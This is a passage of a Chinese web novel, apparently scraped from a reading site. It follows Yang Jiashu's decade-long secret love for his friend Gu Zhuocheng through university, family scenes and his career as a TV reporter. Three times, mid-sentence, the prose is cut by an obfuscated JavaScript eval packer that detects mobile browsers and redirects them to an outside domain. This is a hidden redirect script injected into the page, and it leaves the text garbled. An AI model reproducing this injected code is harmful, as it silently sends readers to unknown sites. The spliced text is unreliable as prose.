——杨嘉树是很生气,但还没到气死的程度。那天下午何永平专门来找他道歉,态度还挺好的,杨嘉树才不信他会主动来找自己讲和,一问之下,果然是顾琢成劝的,这和事佬当得还真是,尽心尽力。 杨嘉树就是再有气也消了,晚上顾琢成为了道歉,特意去南门外排了很久的队给杨嘉树买蟹黄汤包吃,这是家新开的铺子,生意很好,每天限时限量卖,晚了就买不到了。 杨嘉树坐在自己的书桌前吃汤包,顾琢成财大气粗,一下买了五只,每只都用单独的小竹蒸笼装着,汤包肥嘟嘟胖乎乎,一晃就“duangduangduang”地左右摇摆,很是可爱。顾琢成搬了个凳子坐在杨嘉树旁边,看着杨嘉树吃完第一只汤包,才问他:“还生气吗?” 杨嘉树明知故问:“生什么气?” “没什么。”顾琢成顺着台阶往下爬,“好吃吗?” “还行。” “给我尝尝。” 杨嘉树犹豫了下,取了一只竹蒸笼给他:“小心烫。” 现在应该是真的消气了。顾琢成悄悄松了口气。 赵靖一进门,就看见昨天还剑拔弩张的两人此刻正亲亲热热地坐在一起吃东西,不禁摇了摇头,感叹道:“不愧是夫妻,床头吵架床尾和——我靠,杨记的蟹黄汤包!你们太过分了,竟然背着我吃独食!”他插进两人中间,摩拳擦掌、口水直流,“快分我一个,快点快点!” 这个小插曲就这样过去了。 可是顾琢成夺冠带来的影响却还在扩大,他出名了,在全校,乃至全国……杨嘉树甚至在微博热搜上看见他,有些媒体很过分,连他从小到大的履历都放出来了。即使网上铺天盖地在炒作什么“天才少年”、“现实版小说男主”,杨嘉树却还是替顾琢成感到担忧,他又不去当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495761|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明星,要这样荒唐的热度干什么呢?只会徒增烦恼,例如天天有些无聊人士在校园里堵他,手机号、微信号、□□号全泄露,逼得顾琢成去找辅导员,联系学校舆情部门帮忙撤热搜、降热度……半个多月后,这场无聊的全民狂欢总算是消停下来了。 临近期末,每个人都开始忙碌起来,杨嘉树这学期又有5个期末论文要写,而他到现在都还没确定论文选题,每天慌慌张张地在教室、自习室和寝室之间来回穿梭,顾琢成也忙,他也有期末作业要做,有点像是小组作业,每天都在跟同组队员一起搞模拟训练,忙到熄灯前十分钟才回来。 这天杨嘉树在图书馆写作业,长时间对着电脑屏幕,眼睛有点酸,他掏出随身携带的眼药水,滴了几滴,再睁眼的时候吓了一跳,对面忽然出现一个扎双马尾、穿洛丽塔的女孩子,女孩子睁着圆圆的眼睛,挥了挥手里攥着的手机,用口型说:“学长,加个微信可以吗~” 杨嘉树愣了愣,这……难道是来表白的?可是,我不喜欢女孩子啊。他正思考怎么拒绝,女孩已经把自己的微信二维码递了过来。 杨嘉树只能去扫她,加上微信,女孩打招呼说:“哈喽,我叫nico,学长你好(*^▽^*)。可以请你帮你一个忙吗?” 杨嘉树心中有种不祥的预感,帮忙?不会吧……他问nico:“什么忙?” nico说:“可以请你介绍顾琢成学长给我认识吗~我听说你们关系不错,是好朋友来着~~” 杨嘉树:“………………那你怎么不自己去找他?” nico:“顾学长看起来好高冷,不好接近ヽ(*。>Д<> 虽然直接拒绝女孩子不太好,但杨嘉树真的很想站起来就走…… nico:“求你了,学长,我真的很喜欢顾学长,求求你给我这个机会吧o(╥﹏╥)o” “…………”杨嘉树叹了口气,说:“好吧,你有照片吗,发我一张。 ” 第二天一起吃饭的时候,杨嘉树跟顾琢成说了这件事,顾琢成连人家的照片都没看,就说:“不了吧,我最近很忙,没空。” 杨嘉树翘起嘴角,又努力压下去,特别虚伪地说:“这样不好吧,人家都说了特别喜欢你,真的不给她一个机会吗。” 顾琢成咽下嘴里的食物,想了想,说:“好吧,看在你的面子上,”他伸出手,“我看看,长什么样子。” “……”杨嘉树把手机解锁,递给他,“我发现你这人挺虚伪的,想看就直说,还说给我面子……其实你是想给自己一个机会啊。”他酸了,就开始说一些刻薄的话。 但是顾琢成没有放在心上,看完照片就把手机还给了杨嘉树:“挺漂亮的,但是还是算了吧,没有特别心动的感觉。” 杨嘉树又开心了,嘴角怎么压都压不下去:“你眼光可真高。你到底喜欢什么样的啊?” “不知道,看眼缘吧。” “这么多女生追你,你都没兴趣。”杨嘉树大胆地说,“要不你去喜欢男的吧,我看上次那个在宿舍给你表白的就不错,细皮嫩肉的,跟小姑娘差不多。” 顾琢成笑了两声,说:“我要是喜欢男的,还用得着找别人,找你不行吗?你长得可比他们好看多了。” “……”明明是杨嘉树先开的这个玩笑的,现在自己却有点玩不起了,“你真不要脸,你不喜欢男的,我就喜欢了?要是哪天你弯了,可千万别告诉我,我怕被你吓死!男同性恋最可怕了。”他说,有些虚张声势,欲盖弥彰,口是心非,还有一些……难以言明的期盼。 可惜这些顾琢成都不知道,兀自说着自以为是的玩笑话:“我要是弯了,你得负一半责任,每天都这么精致……今天又喷香水了吧?有点像是橘子味,橘子树成精……” 唉,杨嘉树不说话,只是叹气,你别光说不做,你倒是弯啊…… 27.第 27 章 暑假,杨嘉树找到一份不错的实习,BSTV科教频道的采编实习生,因为不急着报道,所以他放假先回了趟家。 章芝仪前几天给他打电话,问他能不能回去一趟,有事商量。 杨嘉树奇怪,有什么事不能电话里说,要回去说呢。到家一问,才知道确实是大事,章芝仪打算带杨嘉苗去国外读书,“你知道的,杨嘉苗脑子不好,读书读不进去,天天翘课出去玩——哎哟你都不知道,我最怕接到杨嘉苗老师的电话,”一家人齐聚在客厅里,由一家之主——老杨先宣布了这个消息,然后章芝仪补充说明,说着说着就开始吐槽起来,“找我能有什么好事?不是翘课就是考试考倒数,更夸张的是上周,快考试了打给我,说杨嘉苗跟二年级的女同学在搞对象,聊天记录都开始叫老公老婆了……哎哟不行我心脏疼……”章芝仪靠在老杨身上,叫着要吃速效救心丸。 “他们都搞对象,凭什么我不能搞?”杨嘉苗在一旁不服气地大叫,“我们自愿的,碍着你们谁了?!” 章芝仪坐起来,二话不说掴了杨嘉苗一巴掌:“你自愿,自愿个屁啊!你老娘我还活着呢,问问我愿不愿意……你想让我不到五十就当奶奶是不是?” 杨嘉苗细皮嫩肉,一巴掌下去脸全红了,愤怒地瞪着章芝仪:“我们又不现在生孩子,等法定结婚年龄到了,我就带樱樱(杨嘉苗女朋友)去领证,我们合法生孩子!你合法当奶奶!有问题吗??” “……”章芝仪靠在沙发上,喃喃,“我药呢,快给我……” 老杨对孩子一向溺爱,对杨嘉苗更是宠得没边,见杨嘉苗挨了一巴掌,他只是心疼,并没有半点对儿子叛逆的苛责。反倒是杨嘉树看不下去了,冷冷地说:“杨嘉苗,你是不是疯了?” 面对杨嘉树,杨嘉苗还是有点怵的,但他觉得自己有理,是以理直气壮道:“我没疯,我只是遇见真爱了!大哥,你也想拆散我跟樱樱吗?” “真爱?”杨嘉树差点没笑出声,乳臭未干的小子也配说真爱?他透过眯起的笑眼看杨嘉苗,这小子遗传了章芝仪的美貌,长得格外标致,心型脸,翘鼻梁,眼大而有神,唇不染而红……但是好看有个屁用啊,脑袋跟被狗啃了似的。他看着杨嘉苗,越看越气不打一处来,“我懒得跟你说,”说了也是对牛弹琴,“赶紧分了,什么樱樱花花的赶紧让她滚——不是,你给我滚,有多远滚多远……” “那我走了。”杨嘉苗立马站起来,他正愁出不去呢,“晚上不回来吃饭了。” “你敢!”杨嘉树怒吼一声,挽起袖子,一把拎起杨嘉苗,礼貌地朝爸妈点了点头,“我进去教训他,爸,妈,你们等等我。”然后就拖着杨嘉苗回了房间。 杨嘉苗的吼声越来越小,直到听不到…… 章芝仪跟老杨面面相觑,老杨说:“这……别把他再打死了……” 章芝仪犹豫道:“应该……不会吧,嘉树下手一向有分寸……” 杨嘉苗被揍成了猪头,老实了,在手机上跟樱樱说分手,一边说一边哭,说樱樱你千万不要忘了我……杨嘉树被他哭得心烦,给他拿了块毛巾让他自己咬住,“不要再让我听见你的猪哼哼!”早恋的事搞定,继续谈留学的事,这事其实基本上已经敲定了,老杨有一个熟人是做留学中介的,能一条龙给他们都办好,到时候直接过去—— 杨嘉树听完,说:“你们不是都决定好了,还叫我回来干什么。” 章芝仪说:“没决定啊,这不是在问你的意见。” “我没意见。”杨嘉树说,眉头皱了起来,“但是你过去带杨嘉苗,你管得住他吗?国外不比国内,很乱,如果管不住他,叫他过去就是害了他。” “不会的。”章芝仪摇头,替杨嘉苗说起好话来,“他只是在家里横,在外面胆子很小的,不会做些违法乱纪的事——是不是杨嘉苗?” 杨嘉苗眼泪汪汪的,嘴里咬着一块毛巾:“唔唔,唔唔唔。” 章芝仪说:“你看,他说不会。” 杨嘉苗:“唔唔唔!”在国外老子就自由了,看你们谁还管得住我! “好吧。”杨嘉树说,“我同意,去国外镀个金,”他看了杨嘉苗一眼,面露嫌弃,“留在国内确实没什么出息。” 杨嘉苗:“唔唔唔唔!”你才没出息,你全家都没出息! “什么时候出发?” “不着急。”章芝仪摇摇头,说起另一件事,“对了嘉树,你想出国留学吗?你要是想,我们就一起去,正好你去了还能管管弟弟,我们也不着急定哪个国家,什么时候出发,反正是高中,找个能插班的学校就行了。你看你想去哪个学校,我们以你为主,等你定下来了我们再去定弟弟的学校。” “……”杨嘉树笑了笑,说,“妈妈,我没有出国留学的打算,我会留在北京,没意外的话。” “哦。”章芝仪并不意外,这事老杨提前跟她说过,既然杨嘉树都决定好了,那她也不方便再多说什么,“那好吧,那就我跟弟弟出去,你有空也帮我们参考一下,哪个国家比较好……” 后来,章芝仪决定带杨嘉苗去英国,伦敦,走时从北京转机,杨嘉树请了三天假陪他们在北京玩了两天,上飞机前,杨嘉苗抱着他哭:“大佬,虽然我讨厌你……但是我会想你的,我无聊的时候可以给你打电话吗?” 杨嘉树浑身不自在,生疏地拍着杨嘉苗的背:“别哭了,丢人不。我看情况,有空就接……”他感觉脖子后面湿黏黏的,很像是杨嘉苗的鼻涕……他黑着脸推开杨嘉苗,“快擦擦你的鼻涕!恶心死了。” 章芝仪从旁边递了张纸巾给他,杨嘉苗擤完鼻涕,眼泪汪汪地看着哥哥,以前的“恩怨情仇”一笔勾销,只剩下未来可能会浓得化不开的想念:“哥哥,就要走了,让我好好看看你。” 杨嘉苗这一哭,把一家人都搞得心里不是滋味,杨嘉树鼻子也有点酸,忍着没哭出来:“你是男孩子,照顾好妈妈,别叫她为你操心……好了,快进去吧,别误机了。” “哥哥……你现在终于有点哥哥的样子了。”杨嘉苗抽噎着说。 “……”杨嘉树忍着没打他,在他手臂上轻轻拍了拍。这两年杨嘉苗长得非常快,一眨眼都跟他差不多高了,两兄弟站在一起,几乎分辨不出谁是哥哥谁是弟弟。 杨嘉苗抹了一把泪,说:“哥,你能答应我一件事吗?” “什么事?” “你先答应我。” 杨嘉树心想,都要走了,就答应他吧,“好。”他说。 杨嘉苗深吸一口气,快速说:“上次我去樱樱家找她,被她哥给揍了一顿!哥你帮我揍回去吧,地址是凤凰路和平小区D7栋3单元1808室,那个叫赵施为的王八蛋!给我往死里揍!” “……”杨嘉树一脚踹在杨嘉苗的屁股上,“赶紧给我滚!留在这污染祖国的空气。” 这一年过得非常快,杨嘉树暑假在BSTV实习,有过实习经验的他这一次得心应手许多,能够独自应对很多突发状况,带他的老师对他赞不绝口,说他“天生就是吃这碗饭的”。杨嘉树长得好看,他本人脸很小,但是上镜就显得有点圆润,这种圆润让他看上去特别有亲和力,笑起来眼睛弯弯的,唇红齿白,用顾琢成的话说:“画面一到你就跟加了滤镜似的。”所以杨嘉树被安排了很多出境任务,渐渐地,开始真的有了一点记者的样子了。 休息时间他会去找顾琢成玩,顾琢成在朝阳区CBD核心区域某互联网大厂实习,工作非常繁忙——这时顾琢成已经通过秋招提前批拿到三个Offer,有两个是“大神孵育计划”,年薪约在150-200万之间,前途可预见的一片光明。 还是实习生的顾琢成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498798|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就俨然有了工作狂的趋势,杨嘉树白天发给他的信息,十有八九他到晚上才回,而他们聊天的时间也就仅限在睡前的半小时内,这让杨嘉树怅然若失——但又无可奈何,难道他要做一个无理取闹的朋友,要求顾琢成必须在多少分钟内回复他的消息吗? 在这种情况下,见面也变得奢侈,可杨嘉树还是锲而不舍地约顾琢成出来,哪怕只有20分钟——那天杨嘉树路过朝阳CBD,突发奇想约顾琢成出来吃饭,顾琢成说:“我只有20分钟。” 然后杨嘉树就掐着表等顾琢成过来,从他出现、吃完饭到离开,真的只花了20分钟。那天他们吃的快餐,咖喱鸡腿饭,咖喱有点凉了,透出一股肉腥味,很难吃。可顾琢成好像失去味觉似的,把咖喱拌在米饭里,全吃光了。 大四,课业上的压力小了许多,可是——又面临着就业的压力。杨嘉树把大半的精力都放在了秋招上,写简历,投简历,密切关注传媒行业的招聘信息。其实,杨嘉树这么努力,还有一个原因,那就是——他不想让自己看起来和顾琢成的差距太大,顾琢成拿到了好的Offer,他就暗中努力,也想拿一个差不多的……起码不要差太多吧,一个人步入社会之后,圈层是逐渐缩小的,太差劲的朋友到最后难免会被排除在外—— 杨嘉树只要一想到,就会觉得自己身后有恶鬼在追,让他必须、无论如何也要站在跟顾琢成差不多的位置。 与此同时,2608的另外两位舍友也陆续传来好消息,何永平成功保研到本校,而赵靖也拿到了心仪的Offer,那么,现在就剩下杨嘉树还前程未定了。 他觉得郁闷,可又别无他法,只能尽人事听天命了。 好在两个星期后,杨嘉树陆续收到简历初筛通过的短信,开始认真准备下一轮的面试。忙起来才知道他还有好多事情没做,导师催着他提交毕业论文选题,这学期还有几门课期末要写小论文,其中有一门专业课……哦对了,他还没考驾照,将来工作做外采可能要自己开车……时间一晃,一个学期结束了。 这一年寒假,杨嘉树和顾琢成都回了家,他们买了差不多时间起飞的机票,然后结伴去机场。半路上杨嘉树给老杨打电话,打第二遍的时候老杨才接,说在马来西亚出差,不知道能不能赶回汕头过年。 挂完电话,杨嘉树说:“家里没人,早知道就晚点回去了。” 顾琢成当即说:“那你跟我一块儿回东北呗,我带你去滑雪,你不是早就想学滑雪了吗。” 杨嘉树心动了,同时又有点胆怯:“……会很冷吗?我就身上这一件羽绒服。” “去了再买,你爸什么时候回来?” “不知道,过年前吧。” “那能玩两个星期,”顾琢成说,“东北三省都能玩遍,挺好。” “嗯……”杨嘉树犹豫了,心中霎时间闪过无数个念头,一起去玩,住哪里?住酒店的话,要睡一起吗……杨嘉树虽然是个gay,但还是个很纯情的gay,一时之间心旌摇荡、不能自持,下意识说着拒绝的话,“不了吧,我怕不习惯,怕……麻烦你。” 这话把顾琢成逗笑了,手在杨嘉树柔软的卷毛上撸了一把:“要不要这么客气,说麻烦,我们互相麻烦的地方还少吗。” “……”杨嘉树嘟囔,“说了多少次,别摸我头。” “别墨迹了。”顾琢成皱眉,用命令的语气说,“赶紧买票。” “……好吧。” 杨嘉树把回汕头的机票退掉,重新买了到哈尔滨的。其实也不错,因为下学期开学他跟顾琢成就都要去实习了,这次……就当是毕业旅行好了,然后,彻底告别学生时代—— 杨嘉树扭头,看着顾琢成的侧脸,这一刻,他心中闪过许多念头,到最后就只剩下一个: 愿你我友谊长存,永世……不变。 28.第 28 章 在很久以前,如果有人对杨嘉树说:“我暗恋一个人十年。”杨嘉树肯定不会相信,这世上那么多人,真的有一个人独特到任何人都代替不了、十年漫长时光都遗忘不了吗?那一定是TA还没遇到更好的人。 ——但是,三十岁的杨嘉树却正在经历这件事。 他暗恋自己的好朋友、好哥们儿,如今……正好是第十年。 这十年间,他遇到许多形形色色的人,上到国家领导,下到乡野村民,有星光璀璨的大明星,有默默无闻的普通人,各行各业、各式各样优秀的人不再少数,顾琢成却永远是最特殊的那一个。 你若问杨嘉树为什么特殊,杨嘉树会掰着手指头数,正着数一轮,反着数一轮,忘了数到哪里重新再数一轮,总之……顾琢成的优点怎么数都数不完。 就从大众普遍认可的点开始说起好了,首先,顾琢成聪明,信奥天才,保送A大,屡获国际编程大奖,鲸奇最年轻的技术总监,后来自己创业,用两年时间成功研发出当今世界最先进的AI编程工具——泛灵X,迅速在全球打响知名度。除了才华横溢,顾琢成还有另一个显而易见、且为大众津津乐道的优点,那就是——长得帅。一个搞技术的天才加上不俗的颜值,结果可想而知,顾琢成有了一批狂热迷恋者,自发形成组织,在不同社交平台信众一样吹捧顾琢成的一切。 除此之外,顾琢成善良,投身社会公益;风趣,至今网上还流传着一些他创业时期的搞笑段子;他自信、强大,对伙伴付诸百分百的信赖,对员工给予最大可能的包容,认识他的人在评价他时总会提到四个字:人格魅力,是的,顾琢成的人格魅力足以折服他身边所有的人。 但是,对杨嘉树来说,顾琢成的这些优点却是他所有优点中的“沧海一粟”、“九牛一毛”,如果让杨嘉树来评价顾琢成,站在一个朋友的角度,那杨嘉树大概会选择出一本书,叫:《我最好的朋友顾琢成》,从头开始描写顾琢成的好——也就十来万字吧。 有点夸张?不。等你长到30而立的年纪,就知道身边有一个不计较身份地位、捧着一颗真心、十年如一日地对你像亲兄弟一样好的朋友,有多么难得。 大学毕业后,杨嘉树和很多朋友失去联系,刚开始大家还相互问候,可随着时间流逝,那些如丝线一般脆弱的友情一条接一条断掉,然后彻底失去联络。只有杨嘉树和顾琢成,始终在一起,不管社交圈如何更迭,工作如何变动,他们就像搓成一条麻绳的两股丝线一样,交缠在彼此的生命之中。 杨嘉树毕业后在BSTV工作,新闻频道晚间社会新闻栏目,跟寒暑假实习不一样,杨嘉树从入职第一天就处在高度紧张当中,那天也是他倒霉,新闻中心没人,他被临时叫去现场支援,直面了一起恶性抢劫案件——劫匪抢劫一家金店,劫持了柜台经理,最后被赶来的人民警察当场击毙了。 杨嘉树在前排,亲眼目睹子弹正中劫匪眉心的那一幕,他吓傻了,呆站在原地不动,同事恼火地推他:“你干嘛呢?!闪开点别挡道!”杨嘉树惊魂未定,一边腿软一边协助同事调整直播设备。当天工作到晚上十点才下班,杨嘉树开车回家,路过一条寂静的街道时,脑子里毫无预兆地响起一记枪声,他踩下刹车,在路边缓了好久才镇静下来。 然后他给顾琢成打电话,顾琢成刚下班到家,听出杨嘉树的声音跟往常不一样,就问他怎么了。 杨嘉树哆哆嗦嗦地说:“我、我今天看见杀人了。”他把白天工作时的情形跟顾琢成说了,顾琢成担心他这时候开车回家不安全,就让他在原地等着,不要动,“我去接你。”然后他打车去找杨嘉树,开着杨嘉树的车送他回家。 楼下的烧烤店还开着,杨嘉树就说请顾琢成吃宵夜。顾琢成看了眼手表,说:“不了吧,最近在健身,过了八点我就不吃东西了。” 杨嘉树的反应有点迟钝,过了一会儿才想起接他的话:“你好自律啊。” 顾琢成偏头,仔细观察他的表情:“你好点了吗?” “嗯。”杨嘉树点点头,有点犹豫地说,“你能送我上楼吗?” “好。” 杨嘉树自己租的房子,小区房,两室一厅,客厅出去有个大阳台,里面摆了很多植物,顾琢成之前送的那盆金钱橘就放在几盆风铃花中央,风铃花五彩斑斓,开得很茂盛,衬得中间的金钱橘就有些瘦弱,顾琢成过去看了看,用旁边的小喷壶给橘树浇水,浇着浇着,杨嘉树也来了,顾琢成说:“你这小花园搞得还挺漂亮,平时没少费心吧?” 杨嘉树倒了两杯热水,一杯给顾琢成,一杯捧在自己手里暖手:“还行吧。”他没说实话,工作那么忙,那里还有什么心情搞小花园?都是家政弄的,给她钱,她自然会把花园照顾得热热闹闹的。 “你好点了吗?”借着客厅里的灯光,顾琢成看见杨嘉树的脸上有了点生气,不再像刚开始见面那样惨白,“要不先去睡觉吧。” “好多了。”杨嘉树说,注意到顾琢成在看表,“你……着急回家吗?” “不,我回公司。”顾琢成摇头,“还有点工作没做完。” 杨嘉树感到很惊讶,“都快十二点了,你还要回去加班?” “嗯,测试进行到关键阶段,所有人都在加班。” 他这样一说,杨嘉树要留他过夜的话顿时说不出口了,“你赶时间的话就先回去吧,我也马上睡觉了。” “你真的没事了?”顾琢成担忧地看着他,眉头深深地皱起来,“别再PTSD了,你们单位有针对这种情况的心理疏导服务吗?” 这个,杨嘉树也不知道,“我明天去问问吧,应该有。” “自己放在心上,单位没有就去找专业的医疗机构。”顾琢成又看了眼手表,必须要回去了,他喝完杯中的热水,往客厅走,“那我回去了,你早点休息。” “好。”杨嘉树送他到门口,把自己的车钥匙递给他,“你开我的车,有空再开过来。” 过了几天,杨嘉树接到顾琢成的电话:“去看心理医生了吗?” 杨嘉树正在食堂吃饭,听电话那边环境比较嘈杂,顾琢成应该也刚好在吃饭,“什么?” 他已经完全忘了心理疏导这回事,顾琢成提起才想起来,可是,他好像已经把那场抢劫案给忘掉了——他的工作很忙,昨天又刚跟师父去河北廊坊跑了一个黑作坊的暗访,过程惊险刺激,完全忘了第一天目睹击毙劫匪的恐惧。可是,还是很感动,有人这么将他放在心上,连他亲爹都不能做到—— 杨嘉树忽然想起来,好久没有跟老杨通电话了,上一次还是老杨打给他问他钱够不够用。 他立即给老杨打过去,老杨说很忙,讲了两句就挂掉了。他喝了两口汤,思考要不要给章芝仪打一个,这时同事打过来,催他回去剪片子,杨嘉树收起手机,匆匆赶回办公室。 适应了高压的工作环境后,杨嘉树渐渐能把控自己的生活节奏,这时候他才发现自己是个适应能力很强的人——工作一开始并不如意,领导很强势,总在开会的时候批评杨嘉树和另外两个新来的记者,说他们干活不积极,动作拖拉,每次交方案都是前后脚拖到最后一刻上交,派给的外采任务完成的也很敷衍,剪片子错漏百出……等等,把他们批评得一无是处。 郁闷的杨嘉树有时候会找顾琢成吐槽,顾琢成的工作非常忙,忙到什么程度,有时候讲电话讲着讲着都会睡着……这时候杨嘉树才敢把自己的喜欢表露出来,他对着话筒轻轻喊顾琢成的名字,倾听他的呼吸,然后闭上眼睛想象顾琢成就躺在自己身边。 通话一直持续到第二天早上顾琢成起床,他开车去公司,趁等红灯的间隙给杨嘉树发微信:“昨天你怎么没挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507581|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话。” 杨嘉树上午一般都在跑新闻,没空看手机,中午的时候给顾琢成回信息:“我也不知道,不是挂了吗。” 顾琢成:“没有,通了一晚上。” 杨嘉树偷笑:“浪费话费。” “我打的,我的话费。” “那我请你吃饭好了。” 杨嘉树的工作是调休,有时候会临时安排值班,顾琢成更是工作狂,周末也都在加班,因此能凑到一起的休息日非常少,好不容易能一起休息,他们都会约着出去游玩,爬山,钓鱼,打游戏,或者露营,看展,只要是顾琢成约的,杨嘉树风雨无阻,请假也要去赴约。 ——顾琢成到底哪点好? 哪里都好,作为一个朋友来说。 他真诚,热心,无论何时都将朋友放在心上,他回东北老家,会在返回北京的时候给杨嘉树带家乡的特产,去外地,也会捎来当地的伴手礼,他关心你,方方面面,有段时间甚至每天都在电视机前蹲点杨嘉树的节目,如果杨嘉树出境了,顾琢成就会对着电视拍照片,发给杨嘉树,说:“看到你了。” 杨嘉树放大图片,幸好自己专门和主持人同事学过表情管理,没出现什么特别怪的表情,他沾沾自喜:“怎么样,我业务能力是不是见长。” 顾琢成说:“确实,你好像更好看了点。是不是为了上镜去整容了。” “!”杨嘉树大呼小叫,“怎么可能?我天生丽质好不好!” “那么冷的天,穿多点吧,看你鼻子都冻红了。” 这是一场户外采访,气温可能在零下十度,杨嘉树穿着黑色的羽绒服,衬得他的脸愈发的白,几乎跟纯洁的雪地差不多白了,因为冷,所以他握着话筒的手都在轻轻发抖,说话的过程中鼻涕控制不住地流下来……杨嘉树看着看着就觉得有点丢脸,怎么说话都不利索了,一定是太冷了……他转头说些不相干的话:“你有没有发现这次采访有点不一样?” “哪里不一样?”顾琢成没看出来。 “你没发现画面都没动啊,哈哈。这是我一个人去跑的采访,摄影机在三脚架上面呢,哈哈哈哈,画面也有点偏移……估计领导看到要骂了。” “不会,我觉得很完美。” “真的假的,哄我的吧。”杨嘉树笑着,心里止不住地冒甜蜜泡泡,“你最近怎么这么有空?工作不忙了?” “项目做完了,休息一段时间。” “那可得好好休息,两年了吧,第一次见你连续一周七点准时下班。” “出来宵夜?” “我在值班呐。”杨嘉树很苦恼,又失落,“明天还要去上海出差,一周,等我回来你还忙不?” “不一定。” “……”真烦。杨嘉树咬紧下唇,有种很强烈的请假的冲动,为什么明明两个人都在北京,见一面却那么困难,他发了一个伤心的表情给顾琢成。 顾琢成说:“我尽量抽时间出来。摸摸头/。” 杨嘉树:“好吧。对手指/。” 顾琢成:“明天你还会出现吗。” 杨嘉树说:“你猜。” 顾琢成:“猜中有奖吗?” 杨嘉树:“一块钱红包。” 顾琢成:“/敲打。” 杨嘉树:“哈哈,逗你玩的。明天我也不知道。”他们节目采回来的新闻有的是当天播,有的是次日播,也有专题报道固定在某个日期播的,但是也有可能出现片子没过审播出不了的情况,说不准,得看当天节目的串联单。 顾琢成:“/思考。” 杨嘉树:“我明天告诉你。” 顾琢成:“不,明天我自己看。” 杨嘉树:“……”看来顾琢成把猜测自己会不会上电视这件事当成了一种游戏。 好吧,你开心就好。 29.第 29 章 不知不觉间,杨嘉树从一个刚入行的菜鸟记者转变成独当一面的专业记者,他以前干什么都有点迟钝,像只慢慢悠悠的蜗牛,或者树懒,但自从工作后,他把自己训练成了风一样的男子,每天扛着摄像机在大街小巷穿梭,风雨无阻、雷打不动。以前极度怕冷的他现在面对零下十多度的环境也会面不改色,有一年北京下大雪,杨嘉树受命去丰台采访受灾的村民,在接近零下二十度的室外待了近七个小时,最后播出的时候有一个画面是他眼睫毛上挂了层厚厚的冰霜,衣服上也满是雪渣和泥土—— 顾琢成可能刚好在看电视,给杨嘉树打电话,问他是怎么回事。 杨嘉树说:“你看节目了?是雪太大把大棚给压塌了,我当时刚好在边上,想往后躲,结果没留神摔了一跤……” “严重吗?”顾琢成的语气十分严肃。 “……有点疼。”杨嘉树正在办公室写第二天的采访提纲,桌子下面,他找了个矮凳子把自己的脚放上去,每隔十分钟就喷一下跌打喷雾,崴得比较严重,半边脚踝都肿了。 “那明天能请假休息吗。” “不能。” “这样怎么能行。” 隔着电话也能听出顾琢成语气里浓浓的担忧,杨嘉树放下笔,语气变得很轻柔,有点像是撒娇:“你担心我呀?” “当然。”顾琢成说,“工作没必要这么拼,身体比较重要。” “你这个拼命三郎叫我工作不要拼……”杨嘉树开玩笑,“是不是瞧不起我啊。” “怎么可能。”顾琢成无奈地说,“我瞧不起你……有这样的想法是你比较瞧不起我吧。” “……我开玩笑的。” 两人聊了点大学时候的事,就挂了。顾琢成说杨嘉树变了很多,以前读书的时候他总是偷懒,三天打渔两天晒网,就连学习也是慢吞吞的,然后在考试之前突然把自己调成2倍速,考完试又恢复如初……对此杨嘉树表示抗议:“我哪有,都是污蔑!” 顾琢成边笑边说:“当时应该多录点视频当做证据的……” 但是工作后的杨嘉树就变得完全不一样了,他对待自己的工作非常认真,到了一种固执的地步。什么顶着发烧、胃痛去采访已经是家常便饭,就算是腿骨折、拄着拐杖挪也要挪到采访现场——这就是现在的杨嘉树,专业、敬业的记者杨嘉树。 工作原因,杨嘉树常常忘记自己的生日,但顾琢成不会忘记——这一点是相互的,杨嘉树也不会忘记顾琢成的生日,即使不能亲自给对方庆祝,可是礼物是少不了的。顾琢成送杨嘉树的礼物往往简单粗暴,走实用风格,什么最新款的手机,相机,游戏机,有一年还送了杨嘉树一台带按摩功能的泡脚桶,时不时提醒杨嘉树去“享受一下”。 杨嘉树送顾琢成的,就五花八门了,他热衷于打扮顾琢成,顾琢成的穿搭风格挺单一的,工作就是西装,出门放松就是休闲装,杨嘉树会送给顾琢成一些精巧的配饰,或者香水、钱夹,一双定制的皮鞋……然后慢慢的,好像顾琢成的风格真的在往杨嘉树的审美靠拢,每次见面都让杨嘉树在心里感叹:“他好像又变帅了。” 但是杨嘉树27岁生日,他们是一起过的,那段时间两人都很忙,但是恰好4月8号都在北京,于是约在杨嘉树的家里一起庆祝生日。杨嘉树点了一大桌外卖,简单把房间布置了一下,七点钟,顾琢成准时到了。 这天正在下雨,关窗有点闷,杨嘉树就把客厅朝北的那扇窗子打开了,能听到外面噼里啪啦的雨声。 顾琢成左手提着蛋糕、右手拎着给杨嘉树的礼物,站在门口向杨嘉树打招呼:“嗨,好久不见。” 杨嘉树有点怔愣,确实是好久不见……他把顾琢成迎进来,两人把沙发移开,茶几清空,然后摆上外卖、红酒和蛋糕,一边吃饭一边聊天。 